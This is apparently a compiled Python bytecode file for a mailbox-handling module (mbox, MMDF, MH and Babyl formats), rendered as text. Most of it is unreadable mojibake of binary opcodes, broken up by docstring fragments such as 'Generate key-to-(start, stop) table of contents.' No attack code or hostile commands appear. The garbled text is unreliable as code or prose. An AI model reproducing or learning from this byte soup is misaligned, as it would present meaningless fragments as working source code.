'Ü$ð&?à&*×&7Ñ&7¸Ð%Añ&BóCð Cô% T§Z¡ZÓ0ˆð ؈GØ × "Ñ " 8Ô ,ܘdŸi™iŸn™nÓ.Ö/�Ø"Ÿi™i¨™n‘ ��tØ— ‘ —‘ Ô&Ø×&Ñ& xÔ0Ø$ŸM™M›O� ØØ!ŸZ™ZŸ_™_¬S°Ø15¸¿ ¹ ¿¹Ó8IÑ1Ió.KóL�Fá!ØØ—N‘N 6Ô*ð ð !*¨8¯=©=«?Ð;�˜‘ Ø×'Ñ'¨Õ1ð0ð!)§ ¡ £ˆDÔ ô �HÔà � ‰ ×ÑÔä�w‰w�t—z‘zÓ"ˆÜ �‰�—‘ § ¡ Ô-ð Ü �H‰H�X—]‘] D§K¡K°·±Ô =ð 1Ü �I‰I�h—m‘m T§Z¡ZÔ 0ô˜$Ÿ*™* eÓ,ˆŒ ؈Œ ؈Œ Ø"ˆÔØ �<Š<Ü �t—z‘z¨5Ö 1ð øð/ Ø �N‰NÔ Ü �I‰I�h—m‘mÔ $Ø ûô¤Ð(ò Ù ð ûôò 1Ü �I‰I�d—j‘jÔ !Ü �I‰I�h—m‘m T§Z¡ZÖ 0ð 1ús2Â9DK7É5L,É8*MË72L)Ì,L>Ì=L>ÍANÎNcó—y)ú,Called before writing the mailbox to file f.NrÀ©rrs r"rqz$_singlefileMailbox._pre_mailbox_hookÐrr$có—y)ú-Called before writing each message to file f.NrÀr„s r"rsz$_singlefileMailbox._pre_message_hookÔrr$có—y©ú,Called after writing each message to file f.NrÀr„s r"ruz%_singlefileMailbox._post_message_hookØrr$cóˆ— |j« |jr|j«|jj «y#|jj «wxYw# |jr|j«|jj «w#|jj «wxYwxYwr)r}r]rƒrYr†rVs r"r†z_singlefileMailbox.closeÜs|€ð #Ø �J‰JŒLð #Ø—<’<Ø—K‘K”Mà— ‘ × Ñ Õ"ø�— ‘ × Ñ Õ"ûð  #Ø—<’<Ø—K‘K”Mà— ‘ × Ñ Õ"ø�— ‘ × Ñ Õ"ýs.‚A)“A Á A&Á)CÁ+B"ÂCÂ"B>Â>Ccó˜—|j€|j«|� |j|Sy#t$rtd|z«d‚wxYw)z'Return (start, stop) or raise KeyError.NrM)rÌÚ _generate_tocr8r0s r"rîz_singlefileMailbox._lookupçs\€à �9‰9Ð Ø × Ñ Ô Ø ˆ?ð JØ—y‘y ‘~Ð%ð øôò JÜÐ8¸3Ñ>Ó?ÀTÐIð Jús  0°A cóD—|jjdd«|jj«}t|j«dk(r'|j s|j |j« |j|j«|j|«}|j|j«|jj«|jj«|_ |S#t$r|jj|«‚wxYw)z;Append message to mailbox and return (start, stop) offsets.rrH)rYr rorrÌr[rqrsÚ_install_messagerurÔÚtruncater}r^)rr+ÚbeforeÚoffsetss r"r`z"_singlefileMailbox._append_messageñs×€à � ‰ �‰˜˜1ÔØ—‘—‘Ó"ˆÜ ˆt�y‰y‹>˜QÒ  t§}¢}ð × "Ñ " 4§:¡:Ô .ð Ø × "Ñ " 4§:¡:Ô .Ø×+Ñ+¨GÓ4ˆGØ × #Ñ # D§J¡JÔ /ð � ‰ ×ÑÔØ ŸJ™JŸO™OÓ-ˆÔ؈øô ò Ø �J‰J× Ñ  Ô 'Ø ð ús Á7AC9Ã9&Dr¸r4)rºr»r¼r½r#r,r2r=rWrjrmr€rƒr}rqrsrur†rîr`rÀr$r"rSrSAsX„Ù ó!ò."òò ò $ò  ò ò  ò !ò B2òHòòò #óJór$rScó8—eZdZdZdZd„Zd d„Zd d„Zd d„Zd„Z y) Ú _mboxMMDFzAn mbox or MMDF mailbox.TcóÞ—|j|«\}}|jj|«|jj«j t d«j d«}|jj||jj«z «}|j|j t d««}|j|«|j|dd«|S)rIr$rr�r˜N) rîrYr r­r¡r¢Údecoder�roÚ_message_factoryÚ set_unixfromÚset_from)rr1r~rÚ from_lineÚstringrs r"rCz_mboxMMDF.get_message s°€à—l‘l 3Ó'‰ ˆˆtØ � ‰ �‰˜ÔØ—J‘J×'Ñ'Ó)×1Ñ1´'¸3Ó?×FÑFÀwÓOˆ Ø—‘—‘ ¨¯ © ¯©Ó(9Ñ!9Ó:ˆØ×#Ñ# F§N¡N´7¸EÓ$BÓCˆØ ×јÔ#Ø � ‰ �Y˜q˜r�]Ô#؈ r$cól—tj|j||««j|¬«S)ú3Return a string representation or raise a KeyError.)ÚunixfromrK)rr1Úfrom_s r"rPz_mboxMMDF.get_strings0€ä×'Ñ'Ø �N‰N˜3 Ó &ó(ß(1© ¸5¨ Ó(Að Br$có0—|j|«\}}|jj|«|s|jj«|jj ||jj «z «}|j td«S)rœr�)rîrYr r­r�ror¡r¢)rr1ržr~rršs r"rNz_mboxMMDF.get_bytessj€à—l‘l 3Ó'‰ ˆˆtØ � ‰ �‰˜ÔÙØ �J‰J× Ñ Ô !Ø—‘—‘ ¨¯ © ¯©Ó(9Ñ!9Ó:ˆØ�~‰~œg uÓ-Ð-r$cóö—|j|«\}}|jj|«|s|jj«t |j|jj «|«S)rS)rîrYr r­Ú _PartialFilero)rr1ržr~rs r"rFz_mboxMMDF.get_file&sU€à—l‘l 3Ó'‰ ˆˆtØ � ‰ �‰˜ÔÙØ �J‰J× Ñ Ô !ܘDŸJ™J¨¯ © ¯©Ó(9¸4Ó@Ð@r$cóJ—d}t|t«r|j|«}t|t«r:|j d«r)|j d«}|dk7r|d|}||dzd}n�|}d}n|t|t «r%|j«jd«}d|z}nGt|tjj«r#|j«}|�|jd«}|€8dtjtj««j«z}|j j#«}|j j%|t&z«|j)||j |j*«|j j#«}||fS) z1Format a message and blindly write to self._file.Nr—r�r–rr$rsFrom MAILER-DAEMON )ršr¦r‹r§r®ÚfindÚ_mboxMMDFMessageÚget_fromrˆrLr+r Ú get_unixfromr7ÚasctimeÚgmtimerYror£r¢r·Ú _mangle_from_)rr+r™ÚnewlineÚauthorr~rs r"rŽz_mboxMMDF._install_message.s^€àˆ Ü �gœsÔ #Ø×+Ñ+¨GÓ4ˆGÜ �gœuÔ %¨'×*<Ñ*<¸XÔ*FØ—l‘l 5Ó)ˆGؘ"Š}Ø# H WÐ-� Ø! '¨A¡+ ,Ð/‘à#� Ø‘Ü ˜Ô!1Ô 2Ø×%Ñ%Ó'×.Ñ.¨wÓ7ˆFØ  6Ñ)‰IÜ ˜¤§¡×!6Ñ!6Ô 7Ø×,Ñ,Ó.ˆIØÐ$Ø%×,Ñ,¨WÓ5� Ø Ð Ø.´·±¼d¿k¹k»mÓ1L×1SÑ1SÓ1UÑUˆIØ— ‘ —‘Ó!ˆØ � ‰ ×ј¤WÑ,Ô-Ø ×ј7 D§J¡J°×0BÑ0BÔCØ�z‰z�‰Ó ˆØ�tˆ}Ðr$Nr¹) rºr»r¼r½r©rCrPrNrFrŽrÀr$r"r“r“s%„Ù"à€Mò óBó .óAór$r“có,—eZdZdZdZdZdd„Zd„Zd„Zy)rzA classic mbox mailbox.TNcóJ—t|_tj||||«y)zInitialize an mbox mailbox.N)r r–r“r#rs r"r#z mbox.__init__Tó€ä +ˆÔÜ×ј4  w°Õ7r$có.—|jt«yrˆ©r£r¢r„s r"ruzmbox._post_message_hookYs€à �‰”Õr$cóØ—gg}}d}|jjd« |jj«}|jj«}|j d«r`t |«t |«kr5|r"|j |t t«z «n|j |«|j |«d}nF|s6|r"|j |t t«z «n|j |«n|tk(rd}nd}Œìttt||«««|_ t |j«|_ |jj«|_ y)ú0Generate key-to-(start, stop) table of contents.FrTr—N)rYr ror­r®rrr¢ÚdictÚ enumerateÚziprÌrZr^)rÚstartsÚstopsÚlast_was_emptyÚline_posr¶s r"rŒzmbox._generate_toc]s€à˜B�ˆØˆØ � ‰ �‰˜ÔØØ—z‘z—‘Ó(ˆHØ—:‘:×&Ñ&Ó(ˆDØ�‰˜xÔ(Ü�u“:¤ F£ Ò+Ù%ØŸ ™  X´´G³ Ñ%<Õ=ð Ÿ ™  XÔ.Ø— ‘ ˜hÔ'Ø!&‘ÙÙ!Ø—L‘L ¬C´«LÑ!8Õ9à—L‘L Ô*ØØœ’Ø!%‘à!&�ð/ô0œ¤3 v¨uÓ#5Ó6Ó7ˆŒ ܘTŸY™Y›ˆŒØ ŸJ™JŸO™OÓ-ˆÕr$r¸) rºr»r¼r½r©r¤r#rurŒrÀr$r"rrKs „Ù!à€Mð€Oó8ò ó.r$rcó*—eZdZdZdd„Zd„Zd„Zd„Zy)r zAn MMDF mailbox.NcóJ—t|_tj||||«y)zInitialize an MMDF mailbox.N)rr–r“r#rs r"r#z MMDF.__init__‚r®r$có4—|jdtz«y)r†óNr°r„s r"rszMMDF._pre_message_hook‡s€à �‰Ð#¤gÑ-Õ.r$cóB—|jtdztz«y)r‰r½Nr°r„s r"ruzMMDF._post_message_hook‹s€à �‰”Ð-Ñ-´Ñ7Õ8r$cóò—gg}}|jjd«d} |}|jj«}|jj«}|j dt z«r‹|j |« |}|jj«}|jj«}|dt zk(r"|j |tt «z «n|s|j |«nŒy|snŒÝttt||«««|_ t|j«|_ |jjdd«|jj«|_ y)r²rr½rHN)rYr r­ror®r¢rrr³r´rµrÌrZr^)rr¶r·Únext_posr¹r¶s r"rŒzMMDF._generate_toc�s*€à˜B�ˆØ � ‰ �‰˜ÔØˆØØˆHØ—:‘:×&Ñ&Ó(ˆDØ—z‘z—‘Ó(ˆHØ�‰Ð2´WÑ<Ô=Ø— ‘ ˜hÔ'ØØ'�HØŸ:™:×.Ñ.Ó0�DØ#Ÿz™zŸ™Ó0�HØÐ2´WÑ<Ò<ØŸ ™  X´´G³ Ñ%<Ô=ØÙ!ØŸ ™  XÔ.ØðñØð#ô$œ¤3 v¨uÓ#5Ó6Ó7ˆŒ ܘTŸY™Y›ˆŒØ � ‰ �‰˜˜1ÔØ ŸJ™JŸO™OÓ-ˆÕr$r¸)rºr»r¼r½r#rsrurŒrÀr$r"r r s„Ùó8ò /ò9ó.r$r có–—eZdZdZdd„Zd„Zd„Zd„Zd„Zd„Z d „Z d „Z d „Z d „Z d „Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zy)rzAn MH mailbox.Ncó—tj||||«tjj |j «sÁ|rªtj |j d«tjtjtjj|j d«tjtjztjzd««d|_yt|j «‚d|_y)zInitialize an MH instance.rÇú .mh_sequencesi€FN)rr#rrrÊrrËr†rúrÈr)ÚO_EXCLr*rr]rs r"r#z MH.__init__¯s©€ä×ј˜t W¨fÔ5Ü�w‰w�~‰~˜dŸj™jÔ)ÙÜ—‘˜Ÿ™ UÔ+Ü—‘œŸ™¤§¡§¡¨d¯j©j¸/Ó!JÜ!#§¡¬b¯i©iÑ!7¼"¿+¹+Ñ!EÀuóNôOðˆ� ô)¨¯©Ó4Ð4؈� r$có¸—|j«}t|«dk(rd}nt|«dz}tjj |j t|««}t|«}d} |jr t|« |j||«t!|t"«r|j%||«|jr t|« |s t|«|S#t$r;|jr t|«t|«d}tj|«‚wxYw#|jr t|«wwxYw#|s t|«wwxYw)r&rrFT)rZrÚmaxrrrÈrr¦rDr]rgr·rÔrjrÖr2ršr Ú_dump_sequences)rr+rZÚnew_keyr÷rÚcloseds r"r,zMH.add»s€à�y‰y‹{ˆÜ ˆt‹9˜Š>؉Gä˜$“i !‘mˆGÜ—7‘7—<‘< § ¡ ¬C°«LÓ9ˆÜ ˜hÓ 'ˆØˆð Ø�|Š|ܘ1” ð $ð Ø×&Ñ& w°Ô2ô˜g¤yÔ1Ø×(Ñ(¨°'Ô:à—<’<Ü  •OáܘA”؈øô!%òà—|’|Ü$ QœÜ ”NØ!�FÜ—I‘I˜hÔ'Øðûð—<’<Ü  •Oð ûñܘA•ðús7Á1E  C%Â"D,Â>E Ã%AD)Ä)D,Ä,EÅE Å EcóH—tjj|jt |««} t |d«}|j «tj|«y#t$r1}|jtjk(rtd|z«‚‚d}~wwxYw)r/rUrMN) rrrÈrr¦rúr†r2rãrärVr8)rr1rrrës r"r2z MH.removeÝs{€ä�w‰w�|‰|˜DŸJ™J¬¨C«Ó1ˆð Ü�T˜5Ó!ˆAð �G‰GŒIÜ �I‰I�d�Oøôò Ø�w‰wœ%Ÿ,™,Ò&ÜÐ8¸3Ñ>Ó?Ð?àûð  úsµ A'Á' B!Á0,BÂB!cóÈ—tjj|jt |««} t |d«} |jr t|« tjtj |tjtjz««|j||«t!|t"«r|j%||«|jr t'|« t)|«y#t $r1}|jtjk(rtd|z«‚‚d}~wwxYw#|jr t'|«wwxYw#t)|«wxYw)r;rUrMN)rrrÈrr¦rúrãrärVr8r]rgr†r*ÚO_TRUNCr·ršr rÇrjrÖ)rr1r+rrrës r"r=zMH.__setitem__ës€ä�w‰w�|‰|˜DŸJ™J¬¨C«Ó1ˆð Ü�T˜5Ó!ˆAð Ø�|Š|ܘ1” ð $Ü—‘œŸ™ ¤r§{¡{´R·Z±ZÑ'?Ó@ÔAØ×"Ñ" 7¨AÔ.ܘg¤yÔ1Ø×(Ñ(¨°#Ô6à—<’<Ü  •Oä ˜�Nøô#ò Ø�w‰wœ%Ÿ,™,Ò&ÜÐ8¸3Ñ>Ó?Ð?àûð  ûð—<’<Ü  •Oð ûô ˜�Nús<µ C:ÁEÁAttjj |j t |««d«}n=ttjj |j t |««d«}|5|jr t|« t|«}|jr t|« ddd«|j«j«D]\}}||vsŒ j!|«ŒS#t$r1}|jtjk(rtd|z«‚‚d}~wwxYw#|jr t|«wwxYw#1swYŒ¡xYw)rIrUrùrMN)r]rúrrrÈrr¦rãrärVr8rgr rjÚ get_sequencesrgÚ add_sequence)rr1rrërrÕÚkey_lists r"rCzMH.get_messages€ð Ø�|Š|ÜœŸ™Ÿ™ d§j¡j´#°c³(Ó;¸UÓC‘䜟™Ÿ™ d§j¡j´#°c³(Ó;¸TÓB�ò Ø�|Š|ܘ1” ð $Ü “l�à—<’<Ü  •O÷ð#×0Ñ0Ó2×8Ñ8Ö:‰NˆD�(Ø�hŠØ× Ñ  Õ&ð;ðˆ øô!ò Ø�w‰wœ%Ÿ,™,Ò&ÜÐ8¸3Ñ>Ó?Ð?àûð  ûð—<’<Ü  •Oð ú÷ ˆQús<‚BD  E'Â$ E Â/E'Ä EÄ,EÅEÅ E$Å$E'Å'E0cóœ— |jr>ttjj |j t |««d«}n=ttjj |j t |««d«}|5|jr t|« |j«jtd«|jr t|«cddd«S#t$r1}|jtjk(rtd|z«‚‚d}~wwxYw#|jr t|«wwxYw#1swYyxYw)rrUrùrMNr�)r]rúrrrÈrr¦rãrärVr8rgr�r¡r¢rj©rr1rrës r"rNz MH.get_bytessë€ð Ø�|Š|ÜœŸ™Ÿ™ d§j¡j´#°c³(Ó;¸UÓC‘䜟™Ÿ™ d§j¡j´#°c³(Ó;¸TÓB�ò Ø�|Š|ܘ1” ð $Ø—v‘v“x×'Ñ'¬°Ó7à—<’<Ü  ”O÷‰Qøô ò Ø�w‰wœ%Ÿ,™,Ò&ÜÐ8¸3Ñ>Ó?Ð?àûð  ûð—<’<Ü  •Oð ú÷ ˆQús<‚BC( EÂ$#D%ÃEÃ( D"Ã1,DÄD"Ä%D?Ä?EÅE có— ttjj|jt |««d«}t|«S#t $r1}|jtjk(rtd|z«‚‚d}~wwxYw)rSrùrMN) rúrrrÈrr¦rãrärVr8rrÒs r"rFz MH.get_file1sl€ð Ü”R—W‘W—\‘\ $§*¡*¬c°#«hÓ7¸Ó>ˆAô ˜!‹}Ðøô ò Ø�w‰wœ%Ÿ,™,Ò&ÜÐ8¸3Ñ>Ó?Ð?àûð  ús‚=A Á BÁ,A?Á?Bcór—ttd„tj|j«D«««S)rUc3óRK—|]}|j«r t|«–—Œ!y­wr4)Úisdigitr@)Ú.0rs r"Ú zMH.iterkeys..>s%èø€ð:Ñ3I¨%Ø).¯©¬ô˜uŸ:Ñ3Iùs‚%')ÚiterrrrrrrVs r"rWz MH.iterkeys<s/€ä”Fñ:´2·:±:¸d¿j¹jÔ3Ió:ó:ó;ð ;r$có¢—tjjtjj|jt |«««Sr )rrrÊrÈrr¦r0s r"rjzMH.__contains__As,€ä�w‰w�~‰~œbŸg™gŸl™l¨4¯:©:´s¸3³xÓ@ÓAÐAr$cóF—tt|j«««Sr )rrYrWrVs r"rmz MH.__len__Es€ä”4˜Ÿ ™ ›Ó(Ó)Ð)r$cóÈ—|jsVttjj |j d«d«|_t|j «d|_yy)rrÃrUTN)r]rúrrrÈrrYrgrVs r"r€zMH.lockIsB€à�|Š|ÜœbŸg™gŸl™l¨4¯:©:°ÓGÈÓOˆDŒJÜ �t—z‘zÔ "؈D�Lðr$có„—|jr4t|j«t|j«|`d|_yyri)r]rjrYrÖrVs r"rƒz MH.unlockPs2€à �<Š<Ü ˜Ÿ™Ô $Ü ˜Ÿ ™ Ô #Ø� Ø ˆD�Lð r$có—y)r|NrÀrVs r"r}zMH.flushXrr$có>—|jr|j«yyr)r]rƒrVs r"r†zMH.close\s€à �<Š<Ø �K‰K�Mð r$có—g}tj|j«D][}tjj tjj |j|««sŒK|j |«Œ]|S)r)rrrrrrÈrrs r"rzMH.list_foldersasT€àˆÜ—Z‘Z § ¡ Ö+ˆEÜ�w‰w�}‰}œRŸW™WŸ\™\¨$¯*©*°eÓ<Õ=Ø— ‘ ˜eÕ$ð,ðˆ r$có‚—ttjj|j|«|j d¬«S)z+Return an MH instance for the named folder.Fr!©rrrrÈrrr"s r"r$z MH.get_folderis-€ä”"—'‘'—,‘,˜tŸz™z¨6Ó2ØŸ-™-°ô7ð 7r$có€—ttjj|j|«|j ¬«S)z:Create a folder and return an MH instance representing it.r&râr"s r"r,z MH.add_folderns+€ä”"—'‘'—,‘,˜tŸz™z¨6Ó2ØŸ-™-ô)ð )r$có\—tjj|j|«}tj|«}|dgk(r4tj tjj|d««n|gk(rnt d|jz«‚tj|«y)r.rÃzFolder not empty: %sN)rrrÈrrr2rr1)rr#rÚentriess r"r5zMH.remove_folderssx€ä�w‰w�|‰|˜DŸJ™J¨Ó/ˆÜ—*‘*˜TÓ"ˆØ �Ð'Ò 'Ü �I‰I”b—g‘g—l‘l 4¨Ó9Õ :Ø ˜Š]Ø äÐ 6¸¿¹Ñ CÓDÐ DÜ �‰��r$c óØ—i}ttjj|jd«dd¬«5}t |j ««}|D]Î} |jd«\}}t «}|j«D]f}|j«r|jt|««Œ.d„|jd«D«\} } |jt| | dz««Œht|«D� cgc]} | |vr| ‘Œ c} ||<t||«d k(r||=ŒÐ d d d «|Scc} w#t$rt!d |j#«z«‚wxYw#1swY|SxYw) z=Return a name-to-key-list dictionary to define each sequence.rÃÚrÚASCII©ÚencodingrÂc3ó2K—|]}t|«–—Œy­wr4)r@)r×Úxs r"rØz#MH.get_sequences..Œsèø€Ð*K¹?°a¬3¨q¯6¹?ùs‚Ú-rrz"Invalid sequence specification: %sN)rúrrrÈrÚsetrZrÛrÖr,r@rzÚrangerrrrŠrÚrstrip) rÚresultsrÚall_keysr¶rÕÚcontentsrZÚspecr~rr1s r"rÎzMH.get_sequencessK€àˆÜ ”"—'‘'—,‘,˜tŸz™z¨?Ó;¸SÈ7Õ SÐWXܘ4Ÿ9™9›;Ó'ˆHÛ�ð5Ø%)§Z¡Z°£_‘N�D˜(Ü›5�DØ (§¡Ö 0˜ØŸ<™<œ>Ø ŸH™H¤S¨£YÕ/á*K¸4¿:¹:Àc¼?Ó*K™K˜E 4Ø ŸK™K¬¨e°T¸A±XÓ(>Õ?ð !1ô 5;¸4´Ló%=±L¨SØ,/°8©Oò&)°Lñ%=�G˜D‘Mä˜7 4™=Ó)¨QÒ.Ø# D˜Møñ÷Tð&ˆùò%=øô"ò5Ü%Ð&JØ&*§k¡k£mñ'4ó5ð5ð5ú÷!Tð&ˆús6¹EÁB$D6Ã= D1Ä D6Ä$EÄ1D6Ä6&EÅEÅE)cóþ—ttjj|jd«dd¬«} tj tj|j tjtjz««|j«D]Å\}}t|«dk(rŒ|j|dz«d}d}tt|««D]Q}|d z |k(r|sCd }|jd «n/|rd}|j|›d |›�«n|jd |z«|}ŒS|r|jt|«dz«Œµ|jd«ŒÇ t|«y#t|«wxYw)z:Set sequences using the given name-to-key-list dictionary.rÃzr+rèrérrÂNFrTríÚ z %sÚ )rúrrrÈrr†rÕr*rÌrgrr£rrrîr¦rÖ)rÚ sequencesrrÕrZÚprevÚ completingr1s r"Ú set_sequenceszMH.set_sequences—s"€ä ”—‘—‘˜dŸj™j¨/Ó:¸DÈ7Ô Sˆð Ü �H‰H”R—W‘W˜QŸV™V¤R§[¡[´2·:±:Ñ%=Ó>Ô ?Ø'Ÿo™oÖ/‘ ��dÜ�t“9 ’>ØØ—‘˜˜s™ Ô#Ø�Ø"� Ü!¤# d£)Ö,�CؘQ‘w $’Ù)Ø)-˜JØŸG™G C�LÙ#Ø%*˜ ØŸ™ª4±Ð 5Õ6àŸ™ ¨¡ Ô,Ø‘Dð-ñØ—G‘GœC ›I¨Ñ,Õ-à—G‘G˜D•Mñ)0ô, ˜�NøŒK˜�Nús ¸D*E/Å/ E<c ó —|j«}d}g}|j«D]ç}|dz |k7rØ|j||dzf« tjtj j |jt|««tj j |jt|dz«««tjtj j |jt|«««|dz }Œé|dz|_ t|«dk(ry|j«D](\}}|D]\}}||vsŒ |||j!|«<Œ Œ*|j#|«y#ttf$r~tjtj j |jt|««tj j |jt|dz«««YŒùwxYw)z?Re-name messages to eliminate numbering gaps. Invalidates keys.rrN)rÎrWrrrßrrÈrr¦ÚunlinkràrárârZrrgÚindexrû) rrørùÚchangesr1rÕrÐÚoldrÅs r"ÚpackzMH.pack´s†€à×&Ñ&Ó(ˆ ؈؈ؗ=‘=–?ˆCØ�Q‰w˜$ŠØ—‘  T¨A¡X˜Ô/ðBÜ—G‘GœBŸG™GŸL™L¨¯©´S¸³XÓ>ÜŸG™GŸL™L¨¯©´S¸À¹³]ÓCôEô —I‘IœbŸg™gŸl™l¨4¯:©:´s¸3³xÓ@ÔAØ �A‰I‰Dð#𠙈ŒÜ ˆw‹<˜1Ò Ø Ø'Ÿo™oÖ/‰NˆD�(Û#‘��Sؘ(’?Ø47�H˜XŸ^™^¨CÓ0Ò1ñ$ð0ð ×ј9Õ%øô'¬Ð8òGÜ—I‘IœbŸg™gŸl™l¨4¯:©:´s¸3³xÓ@Ü Ÿg™gŸl™l¨4¯:©:´s¸4À!¹8³}ÓEöGðGúsÁA;E5Å5B HÈHcó—|j«}|j«}|j«D]2\}}||vr|j|«Œ||vsŒ!||j|«=Œ4|D] }||vsŒ|g||<Œ|j |«y)z;Inspect a new MHMessage and update sequences appropriately.N)rÎrgrrþrû)rr+r1Úpending_sequencesÚ all_sequencesrÕrÐÚsequences r"rÇzMH._dump_sequencesÎs“€à#×1Ñ1Ó3ÐØ×*Ñ*Ó,ˆ Ø+×1Ñ1Ö3‰NˆD�(ØÐ(Ñ(Ø—‘ Õ$ؘ’ؘXŸ^™^¨CÓ0Ñ1ð 4ó *ˆHؘ}Ò,Ø+.¨%� ˜hÒ'ð*ð ×ј=Õ)r$r¸)rºr»r¼r½r#r,r2r=rCrNrFrWrjrmr€rƒr}r†rr$r,r5rÎrûrrÇrÀr$r"rr¬su„Ùó ò òD òò0ò2$ò* ò;ò Bò*ò ò!òòò ò7ò )ò òò0ò:&ó4 *r$rcót—eZdZdZehd£«Zdd„Zd„Zd„Zd„Z d„Z d „Z d „Z d „Z d „Zd „Zd„Zd„Zd„Zy)rzAn Rmail-style Babyl mailbox.>ÚfiledÚeditedÚresentÚunseenÚdeletedÚansweredÚ forwardedNcóB—tj||||«i|_y)zInitialize a Babyl mailbox.N)rSr#Ú_labelsrs r"r#zBabyl.__init__ãs€ä×#Ñ# D¨$°¸Ô@؈� r$cóŒ—tj||«}t|t«r|j «|j |<|S)r&)rSr,ršrÚ get_labelsr)rr+r1s r"r,z Babyl.addès:€ä ×$Ñ$ T¨7Ó3ˆÜ �gœ|Ô ,Ø '× 2Ñ 2Ó 4ˆD�L‰L˜Ñ ؈ r$cóh—tj||«||jvr|j|=yyrí)rSr2rr0s r"r2z Babyl.removeïs/€ä×!Ñ! $¨Ô,Ø �$—,‘,Ñ Ø— ‘ ˜SÑ!ð r$cóŽ—tj|||«t|t«r|j «|j |<yy)r;N)rSr=ršrrrr<s r"r=zBabyl.__setitem__õs:€ä×&Ñ& t¨S°'Ô:Ü �gœ|Ô ,Ø '× 2Ñ 2Ó 4ˆD�L‰L˜Ò ð -r$cóš—|j|«\}}|jj|«|jj«t j «} |jj«}|dt zk(s|sn&|j|jt d««ŒOt j «} |jj«}|t k(s|sn&|j|jt d««ŒL||jj«z }|dk\sJ‚|jj|«}|jt d«}t|j«|z«} | j|j««||jvr| j|j|«| S)rIó *** EOOH ***r�r)rîrYr r­r›rœr¢r£r¡ror�rr¬Ú set_visiblerÚ set_labels) rr1r~rÚoriginal_headersr¶Úvisible_headersÚnÚbodyrs r"rCzBabyl.get_messageûsi€à—l‘l 3Ó'‰ ˆˆtØ � ‰ �‰˜ÔØ � ‰ ×ÑÔÜŸ:™:›<ÐØØ—:‘:×&Ñ&Ó(ˆDØ�¬Ñ0Ò0¹ØØ × "Ñ " 4§<¡<´¸Ó#?Ô @ð ô Ÿ*™*›,ˆØØ—:‘:×&Ñ&Ó(ˆDØ”wŠ¡dØØ × !Ñ ! $§,¡,¬w¸Ó">Ô ?ð ð �4—:‘:—?‘?Ó$Ñ $ˆØ�AŠvˆ ˆvØ�z‰z�‰˜qÓ!ˆØ�|‰|œG UÓ+ˆÜÐ+×4Ñ4Ó6¸Ñ=Ó>ˆØ �‰˜×0Ñ0Ó2Ô3Ø �$—,‘,Ñ Ø �N‰N˜4Ÿ<™<¨Ñ,Ô -؈ r$có€—|j|«\}}|jj|«|jj«t j «} |jj«}|dt zk(s|sn&|j|jt d««ŒO |jj«}|t k(s|snŒ'|j«}||jj«z }|dk\sJ‚|jj|«}|jt d«}||zS)rœrr�r) rîrYr r­r›rœr¢r£r¡r¬ror�) rr1r~rrr¶Úheadersrr´s r"rNzBabyl.get_bytess €à—l‘l 3Ó'‰ ˆˆtØ � ‰ �‰˜ÔØ � ‰ ×ÑÔÜŸ:™:›<ÐØØ—:‘:×&Ñ&Ó(ˆDØ�¬Ñ0Ò0¹ØØ × "Ñ " 4§<¡<´¸Ó#?Ô @ð ð Ø—:‘:×&Ñ&Ó(ˆDØ”wŠ¡dØðð#×+Ñ+Ó-ˆØ �4—:‘:—?‘?Ó$Ñ $ˆØ�AŠvˆ ˆvØ�z‰z�‰˜qÓ!ˆØ�|‰|œG UÓ+ˆØ˜‰~Ðr$cór—tj|j|«jdt««S)rSr�)r›rœrNr¡r¢r0s r"rFzBabyl.get_file-s'€ä�z‰z˜$Ÿ.™.¨Ó-×5Ñ5°e¼WÓEÓFÐFr$cóâ—|j«t«}|jj«D]}|j |«Œ|j |j «t|«S)z4Return a list of user-defined labels in the mailbox.)rîrîrrcrzÚdifference_updateÚ_special_labelsrY)rÚlabelsÚ label_lists r"rzBabyl.get_labels1sS€à � ‰ ŒÜ“ˆØŸ,™,×-Ñ-Ö/ˆJØ �M‰M˜*Õ %ð0à× Ñ  ×!5Ñ!5Ô6Ü�F‹|Ðr$có@—gg}}|jjd«d}g} |}|jj«}|jj«}|dtzk(r²t |«t |«kr!|j |t t«z «|j |«|jj«ddjd«D�cgc]"}|j«r|j«‘Œ$}}|j |«nn|dk(s |dtzk(r9t |«t |«krF|j |t t«z «n$|s"|j |t t«z «n�Œdttt||«««|_ tt|««|_ t |j«|_|jjdd«|jj«|_ycc}w)r²rs rNó,órH)rYr r­ror¢rrrÛÚstripr³r´rµrÌrrZr^) rr¶r·rÀÚ label_listsr¹r¶Úlabelr"s r"rŒzBabyl._generate_toc:sª€à˜B�ˆØ � ‰ �‰˜Ô؈؈ ØØˆHØ—:‘:×&Ñ&Ó(ˆDØ—z‘z—‘Ó(ˆHØ�{¤WÑ,Ò,Ü�u“:¤ F£ Ò+Ø—L‘L ¬C´«LÑ!8Ô9Ø— ‘ ˜hÔ'à+/¯:©:×+>Ñ+>Ó+@ÀÀÐ+D×+JÑ+JÈ4Ô+Pó:Ù+Pð-2à+0¯;©;¬=ð Ÿ+™+�-Ø+Pðð:ð×"Ñ" 6Õ*ؘ’ D¨G´gÑ,=Ò$=Ü�u“:¤ F£ Ò+Ø—L‘L ¬C´«LÑ!8Õ9ÙØ— ‘ ˜X¬¬G« Ñ4Ô5Øñ#ô$œ¤3 v¨uÓ#5Ó6Ó7ˆŒ ÜœI kÓ2Ó3ˆŒ ܘTŸY™Y›ˆŒØ � ‰ �‰˜˜1ÔØ ŸJ™JŸO™OÓ-ˆÕùò:sÃ'HcóÈ—dtz}|dtzz }|j«}d„|D«}|ddj|«ztzz }|dz }|j|«y)rƒsBABYL OPTIONS:s Version: 5c3ó<K—|]}|j«–—Œy­wr4)rˆ)r×r)s r"rØz*Babyl._pre_mailbox_hook..]sèø€Ð5©f U�%—,‘,—.©fùs‚sLabels:r%r&N)r¢rrÈr£)rrÚbabylr"s r"rqzBabyl._pre_mailbox_hookXsc€à!¤GÑ+ˆØ �¤Ñ(Ñ(ˆØ—‘Ó"ˆÙ5©fÓ5ˆØ �˜dŸi™i¨Ó/Ñ/´'Ñ9Ñ9ˆØ �ÑˆØ �‰��r$có4—|jdtz«y)r†ó Nr°r„s r"rszBabyl._pre_message_hookbs€à �‰�œ'Ñ!Õ"r$có4—|jtdz«y)r‰r&Nr°r„s r"ruzBabyl._post_message_hookfs€à �‰”˜'Ñ!Õ"r$có—|jj«}t|t«�r g}g}|j «D]3}||j vr|j |«Œ#|j |«Œ5|jjd«|D].}|jjd|j«z«Œ0|jjd«|D]1}|jjd|j«zdz«Œ3|jjt«n"|jjdtz«t|tjj«�rtj«}tjj!|dd«}|j#|«|j%d« |j'«}|jj|j)d t««|d 